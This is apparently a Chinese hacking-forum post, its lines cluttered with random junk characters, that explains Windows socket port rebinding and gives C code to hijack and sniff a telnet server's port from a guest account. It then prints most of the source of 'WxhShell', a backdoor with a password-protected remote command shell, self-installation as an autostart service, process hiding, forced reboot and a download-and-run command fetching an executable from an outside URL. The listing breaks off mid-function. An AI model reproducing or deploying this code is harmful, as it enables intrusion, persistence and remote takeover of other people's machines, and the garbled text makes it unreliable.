在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
lZRO"[< s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
d 8;kM`U eV!(a8 saddr.sin_family = AF_INET;
d;>G Eb~vNdPo saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Ud+,/pE>FA +pgHCzwJE bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
c/88|k }O+xs3Uv 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
FR6 W-L Ws5N|g 这意味着什么?意味着可以进行如下的攻击:
>"IG\//I %J-:%i 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
5 ph CEKt; 7*{l\^ism; 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
6h5g!GQD tJu:N'=Dy 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
7WH'GoBh S -mpob) 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
r'nPP6` R\ 8[6H 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
L/Kb\\f .lj5pmD 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
!X: TieyVu .n+
;&5 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
@{RhO|UR +a*Ic8* #include
0xDn! #include
h0m5oV #include
U}:+Hz9 #include
Q?T+^J DWORD WINAPI ClientThread(LPVOID lpParam);
m{ani/bt int main()
c;/vzIJj {
9c4p9b! WORD wVersionRequested;
,<+:xl DWORD ret;
=D0d+b6 WSADATA wsaData;
% S"z9@ BOOL val;
DM v;\E~D SOCKADDR_IN saddr;
H(K!{k SOCKADDR_IN scaddr;
Z] r9lC int err;
I 2AQ
G SOCKET s;
5"40{3 SOCKET sc;
5N>f lQ int caddsize;
~M*
UMF^ HANDLE mt;
nm`(;<W DWORD tid;
=e
1Q>~ wVersionRequested = MAKEWORD( 2, 2 );
'LG\]h>+) err = WSAStartup( wVersionRequested, &wsaData );
tk-)N+M. if ( err != 0 ) {
#tUhul/O printf("error!WSAStartup failed!\n");
<t!0{FJ return -1;
9$U>St }
#t1? *4.p saddr.sin_family = AF_INET;
SJ22 c{to9Lk.# //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Q'cWqr k>MXOUaW. saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Yur}<>`( saddr.sin_port = htons(23);
p`&{NR3+ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Am3j:|>* {
20$Tky_ printf("error!socket failed!\n");
)CoFRqz<h return -1;
B!`.,3 }
@G#`uoD val = TRUE;
[7x;H //SO_REUSEADDR选项就是可以实现端口重绑定的
X`&Us if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
HQ=pf > {
~7j-OWz9 printf("error!setsockopt failed!\n");
OAo03KW return -1;
%#4;'\'5 }
tjV63`LD //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Z>w@3$\z //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ZR3sz/ulLd //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
E{-pkqx NI:OL
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
-KbO[b\V {
Q$'\_zV ret=GetLastError();
bZK`]L[ printf("error!bind failed!\n");
H.n|zGQTB return -1;
2y$DTMu }
xzMpT ZQ listen(s,2);
nWYfe-zQxg while(1)
tIBEja^l {
"/^kFsvp caddsize = sizeof(scaddr);
y&4im;X0 //接受连接请求
|C+
5 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
{Xpjm6a7 if(sc!=INVALID_SOCKET)
c}=[r1M* {
xXV15%& mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Nt<Ac&6
s if(mt==NULL)
ByWad@-6i {
e6gj'GmY printf("Thread Creat Failed!\n");
[A!=Hv_$ break;
'@hnqcqXq }
bX`]<$dr3 }
8BS$6Pa CloseHandle(mt);
\q-["W34 }
|SJ%Myy closesocket(s);
2j>C4Ck WSACleanup();
}?GeU
Xhy return 0;
.b*-GWx }
pek5P4W_ DWORD WINAPI ClientThread(LPVOID lpParam)
aC'#H8e|j {
K}S=f\Q] SOCKET ss = (SOCKET)lpParam;
7V\M)r{q7 SOCKET sc;
X~; *zYd5 unsigned char buf[4096];
Q6X}R,KA1 SOCKADDR_IN saddr;
/KJWo0zo long num;
_{i-.;K DWORD val;
xdsF! Zb DWORD ret;
Zr\G=0` //如果是隐藏端口应用的话,可以在此处加一些判断
c$hoqi |tD //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
#DTBdBh?I saddr.sin_family = AF_INET;
#>$w9}gFi saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
oB}rd9 saddr.sin_port = htons(23);
uUG &At if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{}PBYXR {
~65lDFY/ printf("error!socket failed!\n");
*UG=dl#F# return -1;
a<D]Gz^h }
WgV[,( val = 100;
l]e7 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
CH h6Mnw {
Y2p~chx9 ret = GetLastError();
"l09Ae'V return -1;
.Wci@5:3 }
kmL~H1qd if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
oU~ e| {
[SLBA_d ret = GetLastError();
0l %|2}a return -1;
QW%BKF! }
h<2O+"^ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
^Ul*Nm
{
@)wNINvD printf("error!socket connect failed!\n");
$3n@2 N` closesocket(sc);
[W,maTM" closesocket(ss);
o[eIwGxZ return -1;
Os7 3u#!' }
F_Mi/pB^`9 while(1)
]O;Rzq{D( {
%g&i.2v //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
80ms7 B //如果是嗅探内容的话,可以再此处进行内容分析和记录
{YgB?kt5 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
.!J,9PE num = recv(ss,buf,4096,0);
7^:0?Q if(num>0)
hG!"e4 send(sc,buf,num,0);
nM)H2'%kL& else if(num==0)
s*j0uAq)up break;
6|:]2S num = recv(sc,buf,4096,0);
%sLij* if(num>0)
"&/&v send(ss,buf,num,0);
`5Qo*qx else if(num==0)
Y;'7Ek) break;
MoP0qNk }
GzUgzj|BN~ closesocket(ss);
/\9X0a2h|E closesocket(sc);
9WuKW*** return 0 ;
P}QuGy[ }
Ls^$E COK7 i^ Ci
? +Sl ==========================================================
r'q9N 6!n%SUt 下边附上一个代码,,WXhSHELL
8V(#S:G35 [
Q6v #I ==========================================================
@GGPw9a ukSi9| 1-, #include "stdafx.h"
<vV?VV([ 5sq#bvfJ o #include <stdio.h>
c.PPVqx #include <string.h>
*5#Y[c #include <windows.h>
i- E~ZfJ #include <winsock2.h>
(k..ll p~ #include <winsvc.h>
q*<Df=+B #include <urlmon.h>
xla9:*pPn F3b[L^Km] #pragma comment (lib, "Ws2_32.lib")
}cE,&n #pragma comment (lib, "urlmon.lib")
s!2pOH!u Ee##:I[z #define MAX_USER 100 // 最大客户端连接数
0%^m #define BUF_SOCK 200 // sock buffer
'@iS5Fni #define KEY_BUFF 255 // 输入 buffer
#$Z|)i]w Z;W`deA #define REBOOT 0 // 重启
$IQ !g #define SHUTDOWN 1 // 关机
m(8t |~S )A['+s #define DEF_PORT 5000 // 监听端口
qf9.S)H1Z ,bCPO`45 #define REG_LEN 16 // 注册表键长度
9 frS!AQ #define SVC_LEN 80 // NT服务名长度
9\i,3:Qc 2Fce| Tn // 从dll定义API
}9Z?UtS typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
%9=^#e+pE typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
rj*4ZA? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
h?DMrYk_%# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
$_l@k= Eq.?Ga // wxhshell配置信息
r$6z{Na\[ struct WSCFG {
b'^-$ int ws_port; // 监听端口
.Lp0_R@ char ws_passstr[REG_LEN]; // 口令
BjJ$I^ int ws_autoins; // 安装标记, 1=yes 0=no
<vA^%D<\~ char ws_regname[REG_LEN]; // 注册表键名
){")RrD( char ws_svcname[REG_LEN]; // 服务名
VWmZ|9Ri char ws_svcdisp[SVC_LEN]; // 服务显示名
bI=\n)sEz char ws_svcdesc[SVC_LEN]; // 服务描述信息
>0SF79-RE char ws_passmsg[SVC_LEN]; // 密码输入提示信息
]`y4n=L. int ws_downexe; // 下载执行标记, 1=yes 0=no
WFg'G>* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
~^IS{1 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
RIM"MR9qe= X{ZBS^M };
NQ{ XIN~ r%$-F2.p // default Wxhshell configuration
z8= Gc$w! struct WSCFG wscfg={DEF_PORT,
][6$$Lz "xuhuanlingzhe",
*KFsO1j 1,
U^~K-!0 "Wxhshell",
+8Zt<snG "Wxhshell",
7##nY3",^ "WxhShell Service",
zpIl'/i "Wrsky Windows CmdShell Service",
VA)3=82n "Please Input Your Password: ",
+*d,non6v 1,
W==HV0n "
http://www.wrsky.com/wxhshell.exe",
.7Ys@;>B "Wxhshell.exe"
mhp5} };
$[[6N0}*: M{:gc7% // 消息定义模块
Z%XBuq:BY char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
czb(&>< char *msg_ws_prompt="\n\r? for help\n\r#>";
IJo`O char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
oFHVA!lqe char *msg_ws_ext="\n\rExit.";
_ts0@Z_: char *msg_ws_end="\n\rQuit.";
}`Q'!_` char *msg_ws_boot="\n\rReboot...";
Nj.(iBmr char *msg_ws_poff="\n\rShutdown...";
$ZXy&?4 char *msg_ws_down="\n\rSave to ";
/[GOs*{zB ,u{d@U^)3@ char *msg_ws_err="\n\rErr!";
av gGz8 char *msg_ws_ok="\n\rOK!";
M`KrB5a+6 YurK@Tq7 char ExeFile[MAX_PATH];
,ye>D=' int nUser = 0;
{mw,U[C HANDLE handles[MAX_USER];
?qw&H /R int OsIsNt;
nPfVZGt x7l)i!/$ SERVICE_STATUS serviceStatus;
)wpBxJ;dB} SERVICE_STATUS_HANDLE hServiceStatusHandle;
M[R, m_p 7-w
+/fv // 函数声明
Zx55mSfx: int Install(void);
X5qU>'?` int Uninstall(void);
cIja^xD int DownloadFile(char *sURL, SOCKET wsh);
eOD;@4lR int Boot(int flag);
gUL`)t\} * void HideProc(void);
lV`y6 {o#T int GetOsVer(void);
E`XUK,b int Wxhshell(SOCKET wsl);
f>waFu- void TalkWithClient(void *cs);
vV#Jl)
A int CmdShell(SOCKET sock);
E7^tU416 int StartFromService(void);
(Y,
@-V int StartWxhshell(LPSTR lpCmdLine);
/I$g .f/# E^1uZI\z VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
05DK-Wh? VOID WINAPI NTServiceHandler( DWORD fdwControl );
0OEyJ|g mmTc.xh // 数据结构和表定义
ECg/ge2 SERVICE_TABLE_ENTRY DispatchTable[] =
@XDU!<N {
sTeL4g|%{ {wscfg.ws_svcname, NTServiceMain},
*J8j_-i,R {NULL, NULL}
%=S^{A };
+%?_1bGX> }3lM+]pf // 自我安装
#?!)-Q% int Install(void)
Xn$]DE/r}N {
f Nm
Sx char svExeFile[MAX_PATH];
GZXUB0W\@) HKEY key;
g?^o++ strcpy(svExeFile,ExeFile);
eO(VSjo'` ]8d]nftY // 如果是win9x系统,修改注册表设为自启动
#2_phm' if(!OsIsNt) {
G:c)e,pD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
F FR_1Vf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
G5"UhnOD' RegCloseKey(key);
bH3-#mw5w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2!7wGXm~U RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
lmj73OB3 RegCloseKey(key);
3UslVj1u return 0;
u{ JAC! }
;8|uY%ab }
}j+ZF'# }
B6MMn. else {
mJ#u] tiL O6Xu/X] // 如果是NT以上系统,安装为系统服务
{]Nvq9? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
c/x ^I{b* if (schSCManager!=0)
BNQ~O^R0 {
y''`73U" SC_HANDLE schService = CreateService
'r(}7>~fC (
zK k;&y|{ schSCManager,
?bmP<(N5/ wscfg.ws_svcname,
2e/ JFhA wscfg.ws_svcdisp,
XlV#)JX SERVICE_ALL_ACCESS,
8"N<g'Yl, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
#If}P$! SERVICE_AUTO_START,
}/SbmW8(1 SERVICE_ERROR_NORMAL,
-%5*c61 svExeFile,
D;.-e NULL,
]6GdB3?UVM NULL,
]A5FN4 E NULL,
3RXq/E NULL,
2?z3s|+[ NULL
Wf-i)oc4I );
i`FevAx;[m if (schService!=0)
7xMvf<1P {
M//q7SHh CloseServiceHandle(schService);
kHo0I8
CloseServiceHandle(schSCManager);
:+bQPzL strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
*_!nil 3(i strcat(svExeFile,wscfg.ws_svcname);
i`z1if6O if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
brl(7_2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
/v
U$62KA RegCloseKey(key);
vCb3Ra~L` return 0;
{SY@7G] }
GXr9J rs.e }
J LT10c3 CloseServiceHandle(schSCManager);
FF0N{bY }
Rf^$?D&^ }
*l)_&p kl?U2A.= return 1;
M56^p, }
COH0aNp; IGV @tI // 自我卸载
hxP%m4xF + int Uninstall(void)
)M<"YI)g {
.__XOd}K HKEY key;
-y5^xR b^~ keQ if(!OsIsNt) {
zflq|d W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<4ccT l RegDeleteValue(key,wscfg.ws_regname);
f*,jhJ_I RegCloseKey(key);
GbUw:I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
umaF}}-Q{ RegDeleteValue(key,wscfg.ws_regname);
|L}zB, RegCloseKey(key);
:.e`w#$7 return 0;
`O?Kftv* }
i,r O3Jn }
)h]~<
fU }
i ?&t@"' else {
;IZ*o<_ n+QUT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
##+|zka!U if (schSCManager!=0)
cXU8}>qY7 {
\3JZ=/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
<o@&I "
o if (schService!=0)
DDxbIkt {
}Qyuy~-&^ if(DeleteService(schService)!=0) {
H.*:+ CloseServiceHandle(schService);
tS!FnQg4 CloseServiceHandle(schSCManager);
7|% |w return 0;
}{T9`^V:h }
O=~8+sa CloseServiceHandle(schService);
4Vl_vTz{i }
TUHm.!+a CloseServiceHandle(schSCManager);
1/X@~ }
=r"-Pm{ }
.B?6 8,B?!%FP return 1;
~A@T_*0 }
,I6jfXI4 > %h7)}U // 从指定url下载文件
=^8*]/k int DownloadFile(char *sURL, SOCKET wsh)
iO1ir+B\ {
P 4Vi~zMX
HRESULT hr;
KZy2c6XO; char seps[]= "/";
p7et>;WRx char *token;
1 aWzd[i char *file;
MDV<[${ char myURL[MAX_PATH];
!%MI9Ok char myFILE[MAX_PATH];
]Z\Z_t KuBN_bd strcpy(myURL,sURL);
?QA![ token=strtok(myURL,seps);
H<_BnT# while(token!=NULL)
kw)("SQ {
mzw`{Oy>L file=token;
qt_ocOr token=strtok(NULL,seps);
SeuC7!q{ }
MWdev.m:Z 7LEB,bU GetCurrentDirectory(MAX_PATH,myFILE);
o;'E("!<Z strcat(myFILE, "\\");
Lk%`hsv strcat(myFILE, file);
grD[7;1~:) send(wsh,myFILE,strlen(myFILE),0);
G47(LE"2b send(wsh,"...",3,0);
l5h+:^#M5c hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
?^Gi;d5 if(hr==S_OK)
%MG{KG=&o return 0;
Vn&{yCm3 else
jej.!f:H return 1;
5(wmy-x\ CzMCd
~*7R }
1O#]qZS}] CdBpz/ // 系统电源模块
(vX)
<Z
! int Boot(int flag)
;X_bDiG$ {
0Q7teXRM HANDLE hToken;
m}UcF oaO TOKEN_PRIVILEGES tkp;
8F>u6Y[P Xr:gm`[ if(OsIsNt) {
9Lus,l\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
6a*?m{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
zA%YaekJ tkp.PrivilegeCount = 1;
p9>{X\eT: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
<OH{7>V AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
y+\kZIqX if(flag==REBOOT) {
ai7R@~O:_k if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
3_ bE12 return 0;
Bd'X~Vj< }
K}t=Y else {
nxWm if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
uTShz3 return 0;
4,,DA2^! }
/0Jf/-}ovn }
i:a*6b.U@N else {
-9]
ucmN if(flag==REBOOT) {
[psZc'q if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
z@g%9|U return 0;
[vGkr" = }
~'V&[]nh8 else {
&4O2uEW0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
+>&i]x(b return 0;
+\doF }
z''ejq }
xTU;rJV bm*.*A] return 1;
|oWl9j]Z }
E^iShe tj ?%{L // win9x进程隐藏模块
nt]'>eX_} void HideProc(void)
)3 I~6ar {
hgj ]Jr zv7)JH7EV& HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
lak,lDt] if ( hKernel != NULL )
+/[L-&, {
x?UAj8z6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
{?;qy\m]o ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
4Q!|fn0Sv FreeLibrary(hKernel);
"38L ,PW0Z }
28LBvJVq@ ~<.{z]*O return;
Vx}e,(i }
ddS3;Rk2 $bDaZGy // 获取操作系统版本
R XCjYzt int GetOsVer(void)
?I8r2M] {
uHsLlfTn OSVERSIONINFO winfo;
MK- +[K winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
!|W.YbS GetVersionEx(&winfo);
1V wcJd if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
W
]$/qyc&J return 1;
.Y|wG<E else
n0LNAhM return 0;
h<Ct[46,S }
? 'qyI^m@ v, CWE // 客户端句柄模块
xk int Wxhshell(SOCKET wsl)
3RX9LJGX {
0h~{K SOCKET wsh;
!{4'=+ struct sockaddr_in client;
)7{r8a DWORD myID;
pw&k0?K# ym p
ik.' while(nUser<MAX_USER)
.l hS {
,1g_{dMx int nSize=sizeof(client);
?@z/#3b wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
9Trk&OB if(wsh==INVALID_SOCKET) return 1;
VP~(;H5% ]WzeJ"r {3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
^9`|QF if(handles[nUser]==0)
.EPv4[2%F8 closesocket(wsh);
b9ud8wLE[ else
1S(n3(KRk$ nUser++;
H+562W }
#sg*GK+|:R WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
,J'_Vi .hM t:BMf* return 0;
E]v]fy" }
/N({"G' ySB0"bl // 关闭 socket
J0
dY%pH# void CloseIt(SOCKET wsh)
}VRl L>HAC {
"hQGk closesocket(wsh);
cRMyYd J o nUser--;
q`'"+` h
ExitThread(0);
t`'jr=e,~ }
P^# 4m '=O1n H< // 客户端请求句柄
W"*2,R[}% void TalkWithClient(void *cs)
\>>P%EU, {
aNs8T` dF09_nw SOCKET wsh=(SOCKET)cs;
i6A9|G$H char pwd[SVC_LEN];
z@J>A![m char cmd[KEY_BUFF];
eX>*}pI char chr[1];
ByuBZ!m int i,j;
Mvue>)g~> Zxd*%v; while (nUser < MAX_USER) {
BVj(Q}f8 Be6+YM5Cl if(wscfg.ws_passstr) {
*sZH3: if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
-)B_o#2=2 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
n((A:b //ZeroMemory(pwd,KEY_BUFF);
>MKj~Ud i=0;
%LzARTX while(i<SVC_LEN) {
S 6_:\Q ]j>`BK>FE // 设置超时
W8$0y2 fd_set FdRead;
JBLUX, struct timeval TimeOut;
;gZ/i93:Q FD_ZERO(&FdRead);
,~&HL7v FD_SET(wsh,&FdRead);
hd i0YL TimeOut.tv_sec=8;
;9WUt,R TimeOut.tv_usec=0;
},#7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
rX /' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
x~R,rb
+-(,'slov if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
}% q-9 pwd
=chr[0]; >$9}"
if(chr[0]==0xd || chr[0]==0xa) { jwAYlnQ^EM
pwd=0; [`qdpzUp&
break; e3W~6P
} kE.4 #
i++; f+hHc8g
} knYp"<qj
6
iMJ0
// 如果是非法用户,关闭 socket 5qW>#pTFVV
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t"YsIOT:O"
} jLt3jN
LtX53c
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R'zi#FeP
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >(ip-R
^d{5GK'
while(1) { -,b+tC<V)0
=#[oi3k
ZeroMemory(cmd,KEY_BUFF); ZK'46lh
CX{6
// 自动支持客户端 telnet标准 9$z$yGjl
j=0; Vc;[ 0iB
while(j<KEY_BUFF) { Tn1V+)
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bTrusSAl
cmd[j]=chr[0]; TUC)S&bC
if(chr[0]==0xa || chr[0]==0xd) { uOeal^uS
cmd[j]=0; hEu_mw#
break; '!`\!=j-`
} 1<73uR&b%
j++; oV0 45G
} irD5;xk([
^M6lF5
// 下载文件 e9RYk:O
if(strstr(cmd,"http://")) { ERIMz,
send(wsh,msg_ws_down,strlen(msg_ws_down),0); th[v"qD9G
if(DownloadFile(cmd,wsh)) ty.$H24
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ed#fDMXGQ%
else {~&Q"8
}G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {~ F|"v
} @}g3\xLiK
else { }URdoTOvb
EG3,TuDH8
switch(cmd[0]) { cI\[)5&
z5]6"v-
// 帮助 8I/3T
case '?': { +71<B>L
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \8QOZjy
break; ?l?l<`sTO
} =3-?$
// 安装 v{ >3)$1
case 'i': { b;UDgq8v
if(Install()) }rfikm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ApeqbD5g&
else 'Tjvq%ks
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O;<wDh)Yt
break; 3;BIwb_
} =b:XL#VA
// 卸载 {sC Ni
case 'r': { cZ:jht
if(Uninstall()) pvyEs|f=%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^BA%]pe$I
else ?QT6q]|d0+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %T]^,y$n
break; F&czD;F
} T{C;bf:Q
// 显示 wxhshell 所在路径 b+|Jw\k
case 'p': { )xV37]
char svExeFile[MAX_PATH]; >z\IO
strcpy(svExeFile,"\n\r"); (V6bX]<
strcat(svExeFile,ExeFile); .<`)`:n+B
send(wsh,svExeFile,strlen(svExeFile),0); *{w0=J[15
break; <C'_:&M
} |z=`Ur@)
// 重启 Mc@9ivwL#
case 'b': { V)<>W_g
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NLMvi!5w,
if(Boot(REBOOT)) ?`U_|Yo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f $Agcy
else { _f%s]
closesocket(wsh); O0#[hY,
ExitThread(0); b}R_@_<u
} )_jboaNzwI
break; KNAvLcg
} lw9jk`7^
// 关机 PF`uwx@zH
case 'd': { _C/|<Ot:
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _'!?fA
if(Boot(SHUTDOWN)) m|
,Tk:xH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aA|{r/.10K
else { ]AY 4bm
closesocket(wsh); VAL?
Z
ExitThread(0); );.$`0
} uBbQJvL
break; gFTU9k<
} l[T-Ak
// 获取shell b\}a
case 's': { Mgw#4LU
CmdShell(wsh); 1$T`j2s
closesocket(wsh); aze#Cn,P}
ExitThread(0); B46:LQ9[
break; M
+OVqTsFU
} +yO) 3
// 退出 G!I++M"
case 'x': { %>*?uO`z[
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6-wpR
CloseIt(wsh); W8 g13oAu"
break; ejV`W7U
}
eV?%3h.
// 离开 LG,? ,%_s
case 'q': { U%@PY9#
send(wsh,msg_ws_end,strlen(msg_ws_end),0); @:zC!dR)G
closesocket(wsh); ^`yhN
WSACleanup(); >k"O3Pc@
exit(1); .@&FJYkLYi
break; 7-B|B{]
} 55O}S Us!P
} 3J"`mQ
} HMUx/M.j
wetu.aMp
// 提示信息 @TALZk'%
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YeOn
} ]#M"|iTR
} OG<*&V
aZ~e;}w.Zq
return; -"xAeI1+
} : _Y^o
G%~V b
// shell模块句柄 z\tY A
int CmdShell(SOCKET sock) 8x1!15Wiz
{ s&ox%L4
STARTUPINFO si; *m"@*O'
ZeroMemory(&si,sizeof(si)); vltE2mb
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3)VO{Cj!
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Qf0P"s`
PROCESS_INFORMATION ProcessInfo; <IR@/b!,
char cmdline[]="cmd"; x%X3FbF]
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?5" >5 0
return 0; 0i[t[_sce
} %u%;L+0Q[
]Yt3@ug_f
// 自身启动模式 JL_(%._J
int StartFromService(void) $!G|+OuTR
{ MDa[bQNM
typedef struct 6p;Pf9
f
{ ,eebO~7vB
DWORD ExitStatus; 0 D4 4
DWORD PebBaseAddress; TCzz]?G]la
DWORD AffinityMask; wa[J\lW
DWORD BasePriority; ui8$ F
"I*
